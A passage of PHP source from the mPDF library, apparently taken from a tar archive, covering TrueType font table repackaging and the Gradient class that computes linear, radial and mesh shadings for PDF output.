$idDelta = []; for ($i = 0; $i < $segCount; $i++) { $idDelta[] = $this->read_short(); } // ???? was unsigned short $idRangeOffset_start = $this->_pos; $idRangeOffset = []; for ($i = 0; $i < $segCount; $i++) { $idRangeOffset[] = $this->read_ushort(); } for ($n = 0; $n < $segCount; $n++) { $endpoint = ($endCount[$n] + 1); for ($unichar = $startCount[$n]; $unichar < $endpoint; $unichar++) { if ($idRangeOffset[$n] == 0) { $glyph = ($unichar + $idDelta[$n]) & 0xFFFF; } else { $offset = ($unichar - $startCount[$n]) * 2 + $idRangeOffset[$n]; $offset = $idRangeOffset_start + 2 * $n + $offset; if ($offset >= $limit) { $glyph = 0; } else { $glyph = $this->get_ushort($offset); if ($glyph != 0) { $glyph = ($glyph + $idDelta[$n]) & 0xFFFF; } } } $charToGlyph[$unichar] = $glyph; if ($unichar < 196608) { $this->maxUniChar = max($unichar, $this->maxUniChar); } $glyphToChar[$glyph][] = $unichar; } } } function endTTFile(&$stm) { $stm = ''; $numTables = count($this->otables); $searchRange = 1; $entrySelector = 0; while ($searchRange * 2 <= $numTables) { $searchRange *= 2; $entrySelector += 1; } $searchRange *= 16; $rangeShift = $numTables * 16 - $searchRange; // Header if (_TTF_MAC_HEADER) { $stm .= pack('Nnnnn', 0x74727565, $numTables, $searchRange, $entrySelector, $rangeShift); // Mac } else { $stm .= pack('Nnnnn', 0x00010000, $numTables, $searchRange, $entrySelector, $rangeShift); // Windows } // Table directory $tables = $this->otables; ksort($tables); $offset = 12 + $numTables * 16; foreach ($tables as $tag => $data) { if ($tag === 'head') { $head_start = $offset; } $stm .= $tag; $checksum = $this->calcChecksum($data); $stm .= pack('nn', $checksum[0], $checksum[1]); $stm .= pack('NN', $offset, strlen($data)); $paddedLength = (strlen($data) + 3) & ~3; $offset += $paddedLength; } // Table data foreach ($tables as $tag => $data) { $data .= "\0\0\0"; $stm .= substr($data, 0, (strlen($data) & ~3)); } $checksum = $this->calcChecksum($stm); $checksum = $this->sub32([0xB1B0, 0xAFBA], $checksum); $chk = pack("nn", $checksum[0], $checksum[1]); $stm = $this->splice($stm, ($head_start + 8), $chk); return $stm; } function repackageTTF($file, $TTCfontID = 0, $debug = false, $useOTL = false) { $this->useOTL = $useOTL; $this->filename = $file; $this->fh = fopen($file, 'rb'); if (!$this->fh) { throw new \Mpdf\MpdfException(sprintf('Unable to open file "%s"', $file)); } $this->_pos = 0; $this->charWidths = ''; $this->glyphPos = []; $this->charToGlyph = []; $this->tables = []; $this->otables = []; $this->ascent = 0; $this->descent = 0; $this->strikeoutSize = 0; $this->strikeoutPosition = 0; $this->numTTCFonts = 0; $this->TTCFonts = []; $this->skip(4); $this->maxUni = 0; if ($TTCfontID > 0) { $this->version = $version = $this->read_ulong(); // TTC Header version now if (!in_array($version, [0x00010000, 0x00020000], true)) { throw new \Mpdf\MpdfException(sprintf('Error parsing TrueType Collection: version=%s - %s', $version, $file)); } $this->numTTCFonts = $this->read_ulong(); for ($i = 1; $i <= $this->numTTCFonts; $i++) { $this->TTCFonts[$i]['offset'] = $this->read_ulong(); } $this->seek($this->TTCFonts[$TTCfontID]['offset']); $this->version = $version = $this->read_ulong(); // TTFont version again now } $this->readTableDirectory($debug); $tags = ['OS/2', 'glyf', 'head', 'hhea', 'hmtx', 'loca', 'maxp', 'name', 'post', 'cvt ', 'fpgm', 'gasp', 'prep']; foreach ($tags as $tag) { if (isset($this->tables[$tag])) { $this->add($tag, $this->get_table($tag)); } } if ($useOTL) { // maxp - Maximum profile table $this->seek_table('maxp'); $this->skip(4); $numGlyphs = $this->read_ushort(); // cmap - Character to glyph index mapping table $cmap_offset = $this->seek_table('cmap'); $this->skip(2); $cmapTableCount = $this->read_ushort(); $unicode_cmap_offset = 0; for ($i = 0; $i < $cmapTableCount; $i++) { $platformID = $this->read_ushort(); $encodingID = $this->read_ushort(); $offset = $this->read_ulong(); $save_pos = $this->_pos; if (($platformID == 3 && $encodingID == 1) || $platformID == 0) { // Microsoft, Unicode $format = $this->get_ushort($cmap_offset + $offset); if ($format == 4) { $unicode_cmap_offset = $cmap_offset + $offset; break; } } $this->seek($save_pos); } if (!$unicode_cmap_offset) { throw new \Mpdf\MpdfException(sprintf('Font "%s" does not have cmap for Unicode (platform 3, encoding 1, format 4, or platform 0, any encoding, format 4)', $this->filename)); } $glyphToChar = []; $charToGlyph = []; $this->getCMAP4($unicode_cmap_offset, $glyphToChar, $charToGlyph); // Map Unmapped glyphs - from $numGlyphs $bctr = 0xE000; for ($gid = 1; $gid < $numGlyphs; $gid++) { if (!isset($glyphToChar[$gid])) { while (isset($charToGlyph[$bctr])) { $bctr++; } // Avoid overwriting a glyph already mapped in PUA (6,400) if ($bctr > 0xF8FF) { throw new \Mpdf\MpdfException("Problem. Trying to repackage TF file; not enough space for unmapped glyphs"); } $glyphToChar[$gid][] = $bctr; $charToGlyph[$bctr] = $gid; $bctr++; } } // Sort CID2GID map into segments of contiguous codes unset($charToGlyph[65535]); unset($charToGlyph[0]); ksort($charToGlyph); $rangeid = 0; $range = []; $prevcid = -2; $prevglidx = -1; // for each character foreach ($charToGlyph as $cid => $glidx) { if ($cid == ($prevcid + 1) && $glidx == ($prevglidx + 1)) { $range[$rangeid][] = $glidx; } else { // new range $rangeid = $cid; $range[$rangeid] = []; $range[$rangeid][] = $glidx; } $prevcid = $cid; $prevglidx = $glidx; } // CMap table // cmap - Character to glyph mapping $segCount = count($range) + 1; // + 1 Last segment has missing character 0xFFFF $searchRange = 1; $entrySelector = 0; while ($searchRange * 2 <= $segCount) { $searchRange *= 2; ++$entrySelector; } $searchRange *= 2; $rangeShift = $segCount * 2 - $searchRange; $length = 16 + (8 * $segCount) + ($numGlyphs + 1); $cmap = [0, 3, // Index : version, number of encoding subtables 0, 0, // Encoding Subtable : platform (UNI=0), encoding 0 0, 28, // Encoding Subtable : offset (hi,lo) 0, 3, // Encoding Subtable : platform (UNI=0), encoding 3 0, 28, // Encoding Subtable : offset (hi,lo) 3, 1, // Encoding Subtable : platform (MS=3), encoding 1 0, 28, // Encoding Subtable : offset (hi,lo) 4, $length, 0, // Format 4 Mapping subtable: format, length, language $segCount * 2, $searchRange, $entrySelector, $rangeShift]; // endCode(s) foreach ($range as $start => $subrange) { $endCode = $start + (count($subrange) - 1); $cmap[] = $endCode; // endCode(s) } $cmap[] = 0xFFFF; // endCode of last Segment $cmap[] = 0; // reservedPad // startCode(s) foreach ($range as $start => $subrange) { $cmap[] = $start; // startCode(s) } $cmap[] = 0xFFFF; // startCode of last Segment // idDelta(s) foreach ($range as $start => $subrange) { $idDelta = -($start - $subrange[0]); $cmap[] = $idDelta; // idDelta(s) } $cmap[] = 1; // idDelta of last Segment // idRangeOffset(s) foreach ($range as $subrange) { $cmap[] = 0; // idRangeOffset[segCount] Offset in bytes to glyph indexArray, or 0 } $cmap[] = 0; // idRangeOffset of last Segment foreach ($range as $subrange) { foreach ($subrange as $glidx) { $cmap[] = $glidx; } } $cmap[] = 0; // Mapping for last character $cmapstr = ''; foreach ($cmap as $cm) { $cmapstr .= pack('n', $cm); } $this->add('cmap', $cmapstr); } else { $this->add('cmap', $this->get_table('cmap')); } fclose($this->fh); $stm = ''; $this->endTTFile($stm); return $stm; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/Gradient.php�������������������������������������������������������������������0000644�����������������00000103674�14760002214�0012761 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use Mpdf\Color\ColorConverter; use Mpdf\Writer\BaseWriter; class Gradient { const TYPE_LINEAR = 2; const TYPE_RADIAL = 3; /** * @var \Mpdf\Mpdf */ private $mpdf; /** * @var \Mpdf\SizeConverter */ private $sizeConverter; /** * @var \Mpdf\Color\ColorConverter */ private $colorConverter; /** * @var \Mpdf\Writer\BaseWriter */ private $writer; public function __construct(Mpdf $mpdf, SizeConverter $sizeConverter, ColorConverter $colorConverter, BaseWriter $writer) { $this->mpdf = $mpdf; $this->sizeConverter = $sizeConverter; $this->colorConverter = $colorConverter; $this->writer = $writer; } // mPDF 5.3.A1 public function CoonsPatchMesh($x, $y, $w, $h, $patch_array = [], $x_min = 0, $x_max = 1, $y_min = 0, $y_max = 1, $colspace = 'RGB', $return = false) { $s = ' q '; $s.=sprintf(' %.3F %.3F %.3F %.3F re W n ', $x * Mpdf::SCALE, ($this->mpdf->h - $y) * Mpdf::SCALE, $w * Mpdf::SCALE, -$h * Mpdf::SCALE); $s.=sprintf(' %.3F 0 0 %.3F %.3F %.3F cm ', $w * Mpdf::SCALE, $h * Mpdf::SCALE, $x * Mpdf::SCALE, ($this->mpdf->h - ($y + $h)) * Mpdf::SCALE); $n = count($this->mpdf->gradients) + 1; $this->mpdf->gradients[$n]['type'] = 6; //coons patch mesh $this->mpdf->gradients[$n]['colorspace'] = $colspace; //coons patch mesh $bpcd = 65535; //16 BitsPerCoordinate $trans = false; $this->mpdf->gradients[$n]['stream'] = ''; for ($i = 0; $i < count($patch_array); $i++) { $this->mpdf->gradients[$n]['stream'].=chr($patch_array[$i]['f']); //start with the edge flag as 8 bit for ($j = 0; $j < count($patch_array[$i]['points']); $j++) { //each point as 16 bit if (($j % 2) == 1) { // Y coordinate (adjusted as input is From top left) $patch_array[$i]['points'][$j] = (($patch_array[$i]['points'][$j] - $y_min) / ($y_max - $y_min)) * $bpcd; $patch_array[$i]['points'][$j] = $bpcd - $patch_array[$i]['points'][$j]; } else { $patch_array[$i]['points'][$j] = (($patch_array[$i]['points'][$j] - $x_min) / ($x_max - $x_min)) * $bpcd; } if ($patch_array[$i]['points'][$j] < 0) { $patch_array[$i]['points'][$j] = 0; } if ($patch_array[$i]['points'][$j] > $bpcd) { $patch_array[$i]['points'][$j] = $bpcd; } $this->mpdf->gradients[$n]['stream'].=chr(floor($patch_array[$i]['points'][$j] / 256)); $this->mpdf->gradients[$n]['stream'].=chr(floor($patch_array[$i]['points'][$j] % 256)); } for ($j = 0; $j < count($patch_array[$i]['colors']); $j++) { //each color component as 8 bit if ($colspace === 'RGB') { $this->mpdf->gradients[$n]['stream'].= $patch_array[$i]['colors'][$j][1]; $this->mpdf->gradients[$n]['stream'].= $patch_array[$i]['colors'][$j][2]; $this->mpdf->gradients[$n]['stream'].= $patch_array[$i]['colors'][$j][3]; if (isset($patch_array[$i]['colors'][$j][4]) && ord($patch_array[$i]['colors'][$j][4]) < 100) { $trans = true; } } elseif ($colspace === 'CMYK') { $this->mpdf->gradients[$n]['stream'].=chr(ord($patch_array[$i]['colors'][$j][1]) * 2.55); $this->mpdf->gradients[$n]['stream'].=chr(ord($patch_array[$i]['colors'][$j][2]) * 2.55); $this->mpdf->gradients[$n]['stream'].=chr(ord($patch_array[$i]['colors'][$j][3]) * 2.55); $this->mpdf->gradients[$n]['stream'].=chr(ord($patch_array[$i]['colors'][$j][4]) * 2.55); if (isset($patch_array[$i]['colors'][$j][5]) && ord($patch_array[$i]['colors'][$j][5]) < 100) { $trans = true; } } elseif ($colspace === 'Gray') { $this->mpdf->gradients[$n]['stream'].= $patch_array[$i]['colors'][$j][1]; if ($patch_array[$i]['colors'][$j][2] == 1) { $trans = true; } // transparency converted from rgba or cmyka() } } } // TRANSPARENCY if ($trans) { $this->mpdf->gradients[$n]['stream_trans'] = ''; for ($i = 0; $i < count($patch_array); $i++) { $this->mpdf->gradients[$n]['stream_trans'].=chr($patch_array[$i]['f']); for ($j = 0; $j < count($patch_array[$i]['points']); $j++) { //each point as 16 bit $this->mpdf->gradients[$n]['stream_trans'].=chr(floor($patch_array[$i]['points'][$j] / 256)); $this->mpdf->gradients[$n]['stream_trans'].=chr(floor($patch_array[$i]['points'][$j] % 256)); } for ($j = 0; $j < count($patch_array[$i]['colors']); $j++) { //each color component as 8 bit // OPACITY if ($colspace === 'RGB') { $this->mpdf->gradients[$n]['stream_trans'].=chr((int) (ord($patch_array[$i]['colors'][$j][4]) * 2.55)); } elseif ($colspace === 'CMYK') { $this->mpdf->gradients[$n]['stream_trans'].=chr((int) (ord($patch_array[$i]['colors'][$j][5]) * 2.55)); } elseif ($colspace === 'Gray') { $this->mpdf->gradients[$n]['stream_trans'].=chr((int) (ord($patch_array[$i]['colors'][$j][3]) * 2.55)); } } } $this->mpdf->gradients[$n]['trans'] = true; $s .= ' /TGS' . $n . ' gs '; } //paint the gradient $s .= '/Sh' . $n . ' sh' . "\n"; //restore previous Graphic State $s .= 'Q' . "\n"; if ($return) { return $s; } $this->writer->write($s); } // type = linear:2; radial: 3; // Linear: $coords - array of the form (x1, y1, x2, y2) which defines the gradient vector (see linear_gradient_coords.jpg). // The default value is from left to right (x1=0, y1=0, x2=1, y2=0). // Radial: $coords - array of the form (fx, fy, cx, cy, r) where (fx, fy) is the starting point of the gradient with color1, // (cx, cy) is the center of the circle with color2, and r is the radius of the circle (see radial_gradient_coords.jpg). // (fx, fy) should be inside the circle, otherwise some areas will not be defined // $col = array(R,G,B/255); or array(G/255); or array(C,M,Y,K/100) // $stops = array('col'=>$col [, 'opacity'=>0-1] [, 'offset'=>0-1]) public function Gradient($x, $y, $w, $h, $type, $stops = [], $colorspace = 'RGB', $coords = '', $extend = '', $return = false, $is_mask = false) { if (stripos($type, 'L') === 0) { $type = self::TYPE_LINEAR; } elseif (stripos($type, 'R') === 0) { $type = self::TYPE_RADIAL; } if ($colorspace !== 'CMYK' && $colorspace !== 'Gray') { $colorspace = 'RGB'; } $bboxw = $w; $bboxh = $h; $usex = $x; $usey = $y; $usew = $bboxw; $useh = $bboxh; if ($type < 1) { $type = self::TYPE_LINEAR; } if ($coords[0] !== false && preg_match('/([0-9.]+(px|em|ex|pc|pt|cm|mm|in))/i', $coords[0], $m)) { $tmp = $this->sizeConverter->convert($m[1], $this->mpdf->w, $this->mpdf->FontSize, false); if ($tmp) { $coords[0] = $tmp / $w; } } if ($coords[1] !== false && preg_match('/([0-9.]+(px|em|ex|pc|pt|cm|mm|in))/i', $coords[1], $m)) { $tmp = $this->sizeConverter->convert($m[1], $this->mpdf->w, $this->mpdf->FontSize, false); if ($tmp) { $coords[1] = 1 - ($tmp / $h); } } if ($type == self::TYPE_LINEAR) { $angle = (isset($coords[4]) ? $coords[4] : false); $repeat = (isset($coords[5]) ? $coords[5] : false); // ALL POINTS SET (default for custom mPDF linear gradient) - no -moz if ($coords[0] !== false && $coords[1] !== false && $coords[2] !== false && $coords[3] !== false) { // do nothing - coords used as they are } elseif ($angle !== false && $coords[0] !== false && $coords[1] !== false && $coords[2] === false && $coords[3] === false) { // If both a <point> and <angle> are defined, the gradient axis starts from the point and runs along the angle. The end point is // defined as before - in this case start points may not be in corners, and axis may not correctly fall in the right quadrant. // NO end points (Angle defined & Start points) if ($angle == 0 || $angle == 360) { $coords[3] = $coords[1]; if ($coords[0] == 1) { $coords[2] = 2; } else { $coords[2] = 1; } } elseif ($angle == 90) { $coords[2] = $coords[0]; $coords[3] = 1; if ($coords[1] == 1) { $coords[3] = 2; } else { $coords[3] = 1; } } elseif ($angle == 180) { if ($coords[4] == 0) { $coords[2] = -1; } else { $coords[2] = 0; } $coords[3] = $coords[1]; } elseif ($angle == 270) { $coords[2] = $coords[0]; if ($coords[1] == 0) { $coords[3] = -1; } else { $coords[3] = 0; } } else { $endx = 1; $endy = 1; if ($angle <= 90) { if ($angle <= 45) { $endy = tan(deg2rad($angle)); } else { $endx = tan(deg2rad(90 - $angle)); } $b = atan2($endy * $bboxh, $endx * $bboxw); $ny = 1 - $coords[1] - (tan($b) * (1 - $coords[0])); $tx = sin($b) * cos($b) * $ny; $ty = cos($b) * cos($b) * $ny; $coords[2] = 1 + $tx; $coords[3] = 1 - $ty; } elseif ($angle <= 180) { if ($angle <= 135) { $endx = tan(deg2rad($angle - 90)); } else { $endy = tan(deg2rad(180 - $angle)); } $b = atan2($endy * $bboxh, $endx * $bboxw); $ny = 1 - $coords[1] - (tan($b) * $coords[0]); $tx = sin($b) * cos($b) * $ny; $ty = cos($b) * cos($b) * $ny; $coords[2] = -$tx; $coords[3] = 1 - $ty; } elseif ($angle <= 270) { if ($angle <= 225) { $endy = tan(deg2rad($angle - 180)); } else { $endx = tan(deg2rad(270 - $angle)); } $b = atan2($endy * $bboxh, $endx * $bboxw); $ny = $coords[1] - (tan($b) * $coords[0]); $tx = sin($b) * cos($b) * $ny; $ty = cos($b) * cos($b) * $ny; $coords[2] = -$tx; $coords[3] = $ty; } else { if ($angle <= 315) { $endx = tan(deg2rad($angle - 270)); } else { $endy = tan(deg2rad(360 - $angle)); } $b = atan2($endy * $bboxh, $endx * $bboxw); $ny = $coords[1] - (tan($b) * (1 - $coords[0])); $tx = sin($b) * cos($b) * $ny; $ty = cos($b) * cos($b) * $ny; $coords[2] = 1 + $tx; $coords[3] = $ty; } } } elseif ($angle !== false && $coords[0] === false && $coords[1] === false) { // -moz If the first parameter is only an <angle>, the gradient axis starts from the box's corner that would ensure the // axis goes through the box. The axis runs along the specified angle. The end point of the axis is defined such that the // farthest corner of the box from the starting point is perpendicular to the gradient axis at that point. // NO end points or Start points (Angle defined) if ($angle == 0 || $angle == 360) { $coords[0] = 0; $coords[1] = 0; $coords[2] = 1; $coords[3] = 0; } elseif ($angle == 90) { $coords[0] = 0; $coords[1] = 0; $coords[2] = 0; $coords[3] = 1; } elseif ($angle == 180) { $coords[0] = 1; $coords[1] = 0; $coords[2] = 0; $coords[3] = 0; } elseif ($angle == 270) { $coords[0] = 0; $coords[1] = 1; $coords[2] = 0; $coords[3] = 0; } else { if ($angle <= 90) { $coords[0] = 0; $coords[1] = 0; if ($angle <= 45) { $endx = 1; $endy = tan(deg2rad($angle)); } else { $endx = tan(deg2rad(90 - $angle)); $endy = 1; } } elseif ($angle <= 180) { $coords[0] = 1; $coords[1] = 0; if ($angle <= 135) { $endx = tan(deg2rad($angle - 90)); $endy = 1; } else { $endx = 1; $endy = tan(deg2rad(180 - $angle)); } } elseif ($angle <= 270) { $coords[0] = 1; $coords[1] = 1; if ($angle <= 225) { $endx = 1; $endy = tan(deg2rad($angle - 180)); } else { $endx = tan(deg2rad(270 - $angle)); $endy = 1; } } else { $coords[0] = 0; $coords[1] = 1; if ($angle <= 315) { $endx = tan(deg2rad($angle - 270)); $endy = 1; } else { $endx = 1; $endy = tan(deg2rad(360 - $angle)); } } $b = atan2($endy * $bboxh, $endx * $bboxw); $h2 = $bboxh - ($bboxh * tan($b)); $px = $bboxh + ($h2 * sin($b) * cos($b)); $py = ($bboxh * tan($b)) + ($h2 * sin($b) * sin($b)); $x1 = $px / $bboxh; $y1 = $py / $bboxh; if ($angle <= 90) { $coords[2] = $x1; $coords[3] = $y1; } elseif ($angle <= 180) { $coords[2] = 1 - $x1; $coords[3] = $y1; } elseif ($angle <= 270) { $coords[2] = 1 - $x1; $coords[3] = 1 - $y1; } else { $coords[2] = $x1; $coords[3] = 1 - $y1; } } } elseif ((!isset($angle) || $angle === false) && $coords[0] !== false && $coords[1] !== false) { // -moz If the first parameter to the gradient function is only a <point>, the gradient axis starts from the specified point, // and ends at the point you would get if you rotated the starting point by 180 degrees about the center of the box that the // gradient is to be applied to. // NO angle and NO end points (Start points defined) $coords[2] = 1 - $coords[0]; $coords[3] = 1 - $coords[1]; $angle = rad2deg(atan2($coords[3] - $coords[1], $coords[2] - $coords[0])); if ($angle < 0) { $angle += 360; } elseif ($angle > 360) { $angle -= 360; } if ($angle != 0 && $angle != 360 && $angle != 90 && $angle != 180 && $angle != 270) { if ($w >= $h) { $coords[1] *= $h / $w; $coords[3] *= $h / $w; $usew = $useh = $bboxw; $usey -= ($w - $h); } else { $coords[0] *= $w / $h; $coords[2] *= $w / $h; $usew = $useh = $bboxh; } } } else { // default values T2B // -moz If neither a <point> or <angle> is specified, i.e. the entire function consists of only <stop> values, the gradient // axis starts from the top of the box and runs vertically downwards, ending at the bottom of the box. // All values are set in parseMozGradient - so won't appear here $coords = [0, 0, 1, 0]; // default for original linear gradient (L2R) } } elseif ($type == self::TYPE_RADIAL) { $radius = (isset($coords[4]) ? $coords[4] : false); $shape = (isset($coords[6]) ? $coords[6] : false); $size = (isset($coords[7]) ? $coords[7] : false); $repeat = (isset($coords[8]) ? $coords[8] : false); // ALL POINTS AND RADIUS SET (default for custom mPDF radial gradient) - no -moz if ($coords[0] !== false && $coords[1] !== false && $coords[2] !== false && $coords[3] !== false && $coords[4] !== false) { // If a <point> is defined // do nothing - coords used as they are } elseif ($shape !== false && $size !== false) { if ($coords[2] == false) { $coords[2] = $coords[0]; } if ($coords[3] == false) { $coords[3] = $coords[1]; } // ELLIPSE if ($shape === 'ellipse') { $corner1 = sqrt(($coords[0] ** 2) + ($coords[1] ** 2)); $corner2 = sqrt(($coords[0] ** 2) + ((1 - $coords[1]) ** 2)); $corner3 = sqrt(((1 - $coords[0]) ** 2) + ($coords[1] ** 2)); $corner4 = sqrt(((1 - $coords[0]) ** 2) + ((1 - $coords[1]) ** 2)); if ($size === 'closest-side') { $radius = min($coords[0], $coords[1], 1 - $coords[0], 1 - $coords[1]); } elseif ($size === 'closest-corner') { $radius = min($corner1, $corner2, $corner3, $corner4); } elseif ($size === 'farthest-side') { $radius = max($coords[0], $coords[1], 1 - $coords[0], 1 - $coords[1]); } else { $radius = max($corner1, $corner2, $corner3, $corner4); } // farthest corner (default) } elseif ($shape === 'circle') { if ($w >= $h) { $coords[1] = $coords[3] = ($coords[1] * $h / $w); $corner1 = sqrt(($coords[0] ** 2) + ($coords[1] ** 2)); $corner2 = sqrt(($coords[0] ** 2) + ((($h / $w) - $coords[1]) ** 2)); $corner3 = sqrt(((1 - $coords[0]) ** 2) + ($coords[1] ** 2)); $corner4 = sqrt(((1 - $coords[0]) ** 2) + ((($h / $w) - $coords[1]) ** 2)); if ($size === 'closest-side') { $radius = min($coords[0], $coords[1], 1 - $coords[0], ($h / $w) - $coords[1]); } elseif ($size === 'closest-corner') { $radius = min($corner1, $corner2, $corner3, $corner4); } elseif ($size === 'farthest-side') { $radius = max($coords[0], $coords[1], 1 - $coords[0], ($h / $w) - $coords[1]); } elseif ($size === 'farthest-corner') { $radius = max($corner1, $corner2, $corner3, $corner4); } // farthest corner (default) $usew = $useh = $bboxw; $usey -= ($w - $h); } else { $coords[0] = $coords[2] = ($coords[0] * $w / $h); $corner1 = sqrt(($coords[0] ** 2) + ($coords[1] ** 2)); $corner2 = sqrt(($coords[0] ** 2) + ((1 - $coords[1]) ** 2)); $corner3 = sqrt(((($w / $h) - $coords[0]) ** 2) + ($coords[1] ** 2)); $corner4 = sqrt(((($w / $h) - $coords[0]) ** 2) + ((1 - $coords[1]) ** 2)); if ($size === 'closest-side') { $radius = min($coords[0], $coords[1], ($w / $h) - $coords[0], 1 - $coords[1]); } elseif ($size === 'closest-corner') { $radius = min($corner1, $corner2, $corner3, $corner4); } elseif ($size === 'farthest-side') { $radius = max($coords[0], $coords[1], ($w / $h) - $coords[0], 1 - $coords[1]); } elseif ($size === 'farthest-corner') { $radius = max($corner1, $corner2, $corner3, $corner4); } // farthest corner (default) $usew = $useh = $bboxh; } } if ($radius == 0) { $radius = 0.001; } // to prevent error $coords[4] = $radius; } else { // -moz If entire function consists of only <stop> values // All values are set in parseMozGradient - so won't appear here $coords = [0.5, 0.5, 0.5, 0.5]; // default for radial gradient (centred) } } $s = ' q'; $s .= sprintf(' %.3F %.3F %.3F %.3F re W n', $x * Mpdf::SCALE, ($this->mpdf->h - $y) * Mpdf::SCALE, $w * Mpdf::SCALE, -$h * Mpdf::SCALE) . "\n"; $s .= sprintf(' %.3F 0 0 %.3F %.3F %.3F cm', $usew * Mpdf::SCALE, $useh * Mpdf::SCALE, $usex * Mpdf::SCALE, ($this->mpdf->h - ($usey + $useh)) * Mpdf::SCALE) . "\n"; $n = count($this->mpdf->gradients) + 1; $this->mpdf->gradients[$n]['type'] = $type; $this->mpdf->gradients[$n]['colorspace'] = $colorspace; $trans = false; $this->mpdf->gradients[$n]['is_mask'] = $is_mask; if ($is_mask) { $trans = true; } if (count($stops) == 1) { $stops[1] = $stops[0]; } if (!isset($stops[0]['offset'])) { $stops[0]['offset'] = 0; } if (!isset($stops[count($stops) - 1]['offset'])) { $stops[count($stops) - 1]['offset'] = 1; } // Fix stop-offsets set as absolute lengths if ($type == self::TYPE_LINEAR) { $axisx = ($coords[2] - $coords[0]) * $usew; $axisy = ($coords[3] - $coords[1]) * $useh; $axis_length = sqrt(($axisx ** 2) + ($axisy ** 2)); } else { $axis_length = $coords[4] * $usew; } // Absolute lengths are meaningless for an ellipse - Firefox uses Width as reference for ($i = 0; $i < count($stops); $i++) { if (isset($stops[$i]['offset']) && preg_match('/([0-9.]+(px|em|ex|pc|pt|cm|mm|in))/i', $stops[$i]['offset'], $m)) { $tmp = $this->sizeConverter->convert($m[1], $this->mpdf->w, $this->mpdf->FontSize, false); $stops[$i]['offset'] = $tmp / $axis_length; } } if (isset($stops[0]['offset']) && $stops[0]['offset'] > 0) { $firststop = $stops[0]; $firststop['offset'] = 0; array_unshift($stops, $firststop); } if (!$repeat && isset($stops[count($stops) - 1]['offset']) && $stops[count($stops) - 1]['offset'] < 1) { $endstop = $stops[count($stops) - 1]; $endstop['offset'] = 1; $stops[] = $endstop; } if ($stops[0]['offset'] > $stops[count($stops) - 1]['offset']) { $stops[0]['offset'] = 0; $stops[count($stops) - 1]['offset'] = 1; } for ($i = 0; $i < count($stops); $i++) { // mPDF 5.3.74 if ($colorspace === 'CMYK') { $this->mpdf->gradients[$n]['stops'][$i]['col'] = sprintf('%.3F %.3F %.3F %.3F', ord($stops[$i]['col'][1]) / 100, ord($stops[$i]['col'][2]) / 100, ord($stops[$i]['col'][3]) / 100, ord($stops[$i]['col'][4]) / 100); } elseif ($colorspace === 'Gray') { $this->mpdf->gradients[$n]['stops'][$i]['col'] = sprintf('%.3F', ord($stops[$i]['col'][1]) / 255); } else { $this->mpdf->gradients[$n]['stops'][$i]['col'] = sprintf('%.3F %.3F %.3F', ord($stops[$i]['col'][1]) / 255, ord($stops[$i]['col'][2]) / 255, ord($stops[$i]['col'][3]) / 255); } if (!isset($stops[$i]['opacity'])) { $stops[$i]['opacity'] = 1; } elseif ($stops[$i]['opacity'] > 1 || $stops[$i]['opacity'] < 0) { $stops[$i]['opacity'] = 1; } elseif ($stops[$i]['opacity'] < 1) { $trans = true; } $this->mpdf->gradients[$n]['stops'][$i]['opacity'] = $stops[$i]['opacity']; // OFFSET if ($i > 0 && $i < (count($stops) - 1)) { if (!isset($stops[$i]['offset']) || (isset($stops[$i + 1]['offset']) && $stops[$i]['offset'] > $stops[$i + 1]['offset']) || $stops[$i]['offset'] < $stops[$i - 1]['offset']) { if (isset($stops[$i - 1]['offset']) && isset($stops[$i + 1]['offset'])) { $stops[$i]['offset'] = ($stops[$i - 1]['offset'] + $stops[$i + 1]['offset']) / 2; } else { for ($j = ($i + 1); $j < count($stops); $j++) { if (isset($stops[$j]['offset'])) { break; } } $int = ($stops[$j]['offset'] - $stops[$i - 1]['offset']) / ($j - $i + 1); for ($f = 0; $f < ($j - $i - 1); $f++) { $stops[$i + $f]['offset'] = $stops[$i + $f - 1]['offset'] + $int; } } } } $this->mpdf->gradients[$n]['stops'][$i]['offset'] = $stops[$i]['offset']; } if ($repeat) { $ns = count($this->mpdf->gradients[$n]['stops']); $offs = []; for ($i = 0; $i < $ns; $i++) { $offs[$i] = $this->mpdf->gradients[$n]['stops'][$i]['offset']; } $gp = 0; $inside = true; while ($inside) { $gp++; for ($i = 0; $i < $ns; $i++) { $this->mpdf->gradients[$n]['stops'][($ns * $gp) + $i] = $this->mpdf->gradients[$n]['stops'][($ns * ($gp - 1)) + $i]; $tmp = $this->mpdf->gradients[$n]['stops'][($ns * ($gp - 1)) + ($ns - 1)]['offset'] + $offs[$i]; if ($tmp < 1) { $this->mpdf->gradients[$n]['stops'][($ns * $gp) + $i]['offset'] = $tmp; } else { $this->mpdf->gradients[$n]['stops'][($ns * $gp) + $i]['offset'] = 1; $inside = false; break; } } } } if ($trans) { $this->mpdf->gradients[$n]['trans'] = true; $s .= ' /TGS' . $n . ' gs '; } if (!is_array($extend) || count($extend) < 1) { $extend = ['true', 'true']; // These are supposed to be quoted - appear in PDF file as text } $this->mpdf->gradients[$n]['coords'] = $coords; $this->mpdf->gradients[$n]['extend'] = $extend; //paint the gradient $s .= '/Sh' . $n . ' sh ' . "\n"; //restore previous Graphic State $s .= ' Q ' . "\n"; if ($return) { return $s; } $this->writer->write($s); } private function parseMozLinearGradient($m, $repeat) { $g = []; $g['type'] = self::TYPE_LINEAR; $g['colorspace'] = 'RGB'; $g['extend'] = ['true', 'true']; $v = trim($m[1]); // Change commas inside e.g. rgb(x,x,x) while (preg_match('/(\([^\)]*?),/', $v)) { $v = preg_replace('/(\([^\)]*?),/', '\\1@', $v); } // Remove spaces inside e.g. rgb(x, x, x) while (preg_match('/(\([^\)]*?)[ ]/', $v)) { $v = preg_replace('/(\([^\)]*?)[ ]/', '\\1', $v); } $bgr = preg_split('/\s*,\s*/', $v); for ($i = 0; $i < count($bgr); $i++) { $bgr[$i] = preg_replace('/@/', ',', $bgr[$i]); } // Is first part $bgr[0] a valid point/angle? $first = preg_split('/\s+/', trim($bgr[0])); if (preg_match('/(left|center|right|bottom|top|deg|grad|rad)/i', $bgr[0]) && !preg_match('/(<#|rgb|rgba|hsl|hsla)/i', $bgr[0])) { $startStops = 1; } elseif (trim($first[count($first) - 1]) === '0') { $startStops = 1; } else { $check = $this->colorConverter->convert($first[0], $this->mpdf->PDFAXwarnings); $startStops = 1; if ($check) { $startStops = 0; } } // first part a 